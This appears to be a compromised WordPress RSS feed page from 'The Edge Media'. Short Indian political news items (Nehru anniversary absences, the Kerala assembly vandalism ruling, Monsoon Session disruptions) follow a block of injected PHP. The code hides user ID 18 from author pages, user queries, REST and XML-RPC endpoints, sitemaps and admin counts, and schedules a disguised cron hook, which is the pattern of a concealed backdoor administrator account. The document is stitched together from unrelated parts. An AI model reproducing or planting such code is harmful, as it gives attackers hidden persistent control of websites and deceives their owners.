add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post As per the Congress, no ministers attended Jawaharlal Nehru’s birth anniversary event at Parliament appeared first on The Edge Media.
]]>Jairam Ramesh, a Congress Rajya Sabha MP, claimed in a tweet that the Chairman of the Rajya Sabha and the Speaker of the Lok Sabha were both absent from the event, which he described as “unusual.”
He tweeted: “Extraordinary scene today in Parliament at the traditional function to mark the birth anniversary of those whose portraits adorn the Central Hall. Speaker Lok Sabha was absent. Chairman Rajya Sabha absent. Not a single Minister present. Can it get more atrocious than this?”
The post As per the Congress, no ministers attended Jawaharlal Nehru’s birth anniversary event at Parliament appeared first on The Edge Media.
]]>The post Kerala Minister , Ex-MLAs to face trial for Damaging Furniture in Assembly. appeared first on The Edge Media.
]]>“MPs and MLAs have to subscribe and bear true faith to the Constitution of India. Committing acts of destroying public property cannot be equated to freedom of speech .
Legislator’s privilege and immunity is not a gate to claim exemption from Criminal law,” a two-judge bench of justice DY Chandrachud and MR Shah said as it delivered the verdict.
The post Kerala Minister , Ex-MLAs to face trial for Damaging Furniture in Assembly. appeared first on The Edge Media.
]]>The post PM Modi’s Monsoon Session live : appeared first on The Edge Media.
]]>As the disruptions continued despite repeated pleas by the Speaker to maintain decorum, Lok Sabha was adjourned till 3.30pm , while Rajya Sabha was adjourned till 3 pm.
Criticising the Opposition for not allowing PM Modi to introduce the new ministers, Defence Minister Rajnath Singh said such a thing was happening for the first time in his 24 years of parliamentary career.
“I would like to urge all the MPs and all the parties to ask the most difficult and sharpest questions in the Houses but should also allow the Government to respond, in a disciplined environment. This will boost democracy, strengthen people’s trust and improve the pace of development,” PM Modi told media persons in the Parliament House Complex.
The post PM Modi’s Monsoon Session live : appeared first on The Edge Media.
]]>